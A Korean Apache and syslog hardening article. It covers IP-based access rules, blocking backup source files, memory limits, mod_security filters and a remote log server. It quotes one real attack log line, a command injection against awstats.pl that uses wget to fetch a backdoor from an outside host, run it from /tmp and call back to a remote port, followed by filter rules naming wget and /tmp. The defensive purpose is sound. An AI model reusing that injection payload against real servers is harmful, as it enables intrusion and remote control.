이 경우 /home/ionthenet/ 디렉토리 이하는 192.168.1.x 대역에 대해서만 접근 가능하고, 이외의 대역에서는 접근이 불가능한데, 여기에서 Deny from이나 Allow from의 순서는 중요하지 않다. Order 뒤에 있는 순서가 매우 중요하다. 즉, 아파치에서는 Order 구문에서 뒤에 나오는 것을 우선시하는데, 여기에서는 allow가 뒤에 있으므로 먼저 allow를 체크하고 이후에 deny를 체크한다. 따라서 우선 192.168.1. 대역은 허용하고 이외의 접속은 모두 거부하게 되는 것이다. 이는 관리자 모드나 사내 인트라넷 등을 활용할 때 유용하다.

·서버 사이드 파일 설정


다음으로는 웹 사이트 개발 과정에서 자주 실수하는 것인데, PHP 등과 같은 서버 사이드 소스 파일을 임시로 dbconn.old나 dbconn.bak와 같이 수정해 웹에서 직접 소스로 접근이 가능하게 되는 경우가 있는데, 이런 경우 의도치 않게 심각한 보안 문제를 유발할 수 있다.이런 경우에 대비해 다음과 같이 설정하면 확장자가 bak 이나 old 파일의 경우 웹 서버 자체에서 접근을 차단하므로 일단 안심할 수 있을 것이다.


<Files ~ ".bak$">
  Order allow,deny
  Deny from all
</Files>

<Files ~ ".old$">
  Order allow,deny
  Deny from all
</Files>


또는 다음과 같이 특정 확장자를 PHP와 같은 서버 사이드 언어로 설정해 웹 서버에 소스를 그대로 보이지 않고 실행하도록 하는 방법도 좋다.


AddType application/x-httpd-php .php .inc .bak .old .c 



·대용량 메모리 제한 설정


다음은 웹을 통해 대용량의 메모리를 사용하는 프로세스를 제한하는 설정으로, 모든 디렉토리에 대해 사용 가능한 메모리를 20MB로 제한, /home/ionthenet/ 디렉토리 이하에 대해서는 예외적으로 50MB 정도로 제한하게 된다.


사실상 메모리를 소모하는 간단한 루틴을 무한루프를 돌게 해 웹 서버를 다운시키는 것은 그리 어려운 것이 아니므로 사전에 적절한 제한을 해 두는 것이 좋다.

RLimitMEM 20000000
<Directory /home/ionthenet/>
RLimitMEM 50000000
</Directory>



·모드보안 설정


마지막으로 최근 자주 등장하는 공격 형태로서 게시판 등과 같은 웹 애플리케이션의 취약성을 이용, 인증을 우회해 웹을 통해 시스템 명령어를 실행하는 경우다. 


이는 다음과 같은 웹 서버 로그를 보면 알 수 있는데, 아래의 경우 웹을 통해 WGET을 실행해 백도어를 /TMP에 업로드 후 직접 실행한다는 것을 알 수 있다.


200.96.xx.xxx - - [26/xxx/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?xxx=%20/tmp;
wget%20http://www.nokiacxxxx.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00
HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"


그러나 아파치 자체에서는 이런 형태의 공격을 차단할 수 있는 방법은 없다. 단지 모드보안(modsecurity)라는 별도의 보안 모듈을 이용할 경우만 가능하다. 따라서 모드보안를 설치한 후, 다음의 설정을 'httpd.conf'에 추가하면 URI 문자열에 미리 지정된 WGET이나 TMP 등이 보이면 접속을 거부하고 해당 정보를 로그에 남긴 후 500 에러를 낸다. 공격자들이 흔히 사용하는 시스템 명령어를 미리 필터에 지정해 두면 미봉책이나마 웹을 통한 공격을 사전에 차단하는 효과를 기대할 수 있다.


<IfModule mod_security.c>
  SecFilterDefaultAction "deny,log,status:500"
  SecFilterSelective THE_REQUEST "wget"
  SecFilterSelective THE_REQUEST "lynx"
  SecFilterSelective THE_REQUEST "/tmp"
</IfModule>



원격의 로깅(logging) 서버를 이용하는 방법


로그(log)의 중요성은 아무리 강조해도 지나치지 않을 만큼 시스템과 네트워크 관리에 있어서 큰 비중을 차지한다. 가급적 각 시스템의 로그를 각각 저장하지 않고 별도의 로그서버를 둬 한 곳에서 통합관리를 해야 한다.


그 이유로는 우선 사용의 편의성을 들 수 있다. 한두 대의 시스템이 아닐 경우 일일이 로그인해 정보를 확인하는 것은 거의 불가능하기 때문이다.


다른 이유로 보안적인 문제를 들 수 있다. 대부분의 공격자는 관리자 권한 획득에 성공한 후 로그 파일에서 자신의 접속 정보를 삭제하거나 아예 로그 파일을 삭제하는 경우가 많다. 하지만 별도의 원격지 로그 서버에 로그를 저장할 경우 로그 서버까지 공격해 관리자 권한을 획득하지 않는 한 상대적으로 안전하기 때문이다.


자, 그럼 유닉스 계열의 서버에서 로그 서버를 어떻게 구축해야 할까?


먼저 로그를 보낼 각각의 서버에서 다음과 같이 설정한다.


#/etc/syslog.conf 파일

authpriv.*                   @192.168.1.5


이렇게 설정할 경우 보안 또는 인증과 관련된 로그를 로컬 시스템에 저장하지 않고 원격지의 192.168.1.5 서버에 저장하게 된다. 만약 원격지 로그 서버뿐만 아니라 로컬에도 같이 저장하려면 다음과 같이 설정하면 된다.


#/etc/syslog.conf 파일

authpriv.*                   @192.168.1.5
authpriv.*                   /var/log/secure


또는 authpriv.* 대신 *.* 를 지정하면 모든 정보를 로그에 남기게 될 것이다.
설정을 변경한 후에는 다음과 같이 실행하여 syslog를 재가동하도록 한다.


# /etc/rc.d/init.d/syslog restart


다음에는 로그를 받을 로그 서버(즉, 192.168.1.5)에서의 설정 방법이다.
이는 간단히 다음과 같은 파일만 수정하면 된다.


# /etc/rc.d/init.d/syslog 파일

start)
       echo -n "Starting system logger: "
       # we don't want the MARK ticks
       daemon syslogd -m 0 -h
==>
start)
       echo -n "Starting system logger: "
       # we don't want the MARK ticks
       daemon syslogd -m 0 -r -h


즉, syslogd의 데몬 옵션 중에 -r 옵션만 추가하면 되는데, 여기에서 -r의 의미는 syslogd 서비스를 통해 원격지에서 로그를 받는다는 것으로, 이 설정을 해 주지 않으면 원격지에서 전송되는 로그를 받을 수 없으니 주의하기 바란다.


이후 설정을 변경한 후에는 다음과 같이 실행해 syslog를 재가동한다.

# /etc/rc.d/init.d/syslog restart

이제 모든 설정이 끝났다.


이후 다음과 같이 TCPdump를 실행하면 전송되는 패킷을 확인할 수 있다.

# tcpdump port 514
09:36:22.393806 eth0 < www51.syslog > logserver.syslog: udp 47 (DF)
09:36:22.522422 eth0 < www66.syslog > logserver.syslog: udp 47 (DF)
09:36:22.877417 eth0 < www58.syslog > logserver.syslog: udp 46 (DF)

참고로 IP가 보이지 않고 호스트 이름이 보이는 것은 서버의 /etc/hosts 파일에 다음과 같이 등록했기 때문이다.


# /etc/hosts

192.168.1.5      logsevrer
192.168.1.51     www51
192.168.1.66     www66
192.168.1.57     www58


이후 /var/log/secure 파일을 보면 다음과 같이 각 서버로부터 전송되는 인증 정보가 로그에 쌓이는 것을 알 수 있다.


# tail -f /var/log/secure
Nov 22 09:38:51 www66 ipop3d[19836]: connect from 221.151.163.57
Nov 22 09:38:51 www58 ipop3d[28856]: connect from 221.151.163.57
Nov 22 09:38:52 www51 ipop3d[14722]: connect from 59.11.76.100
Nov 22 09:38:52 www51 ipop3d[14723]: connect from 211.206.124.39


저자 : 홍석범 | 오늘과내일 운영관리팀 차장

신고

+ Recent posts

티스토리 툴바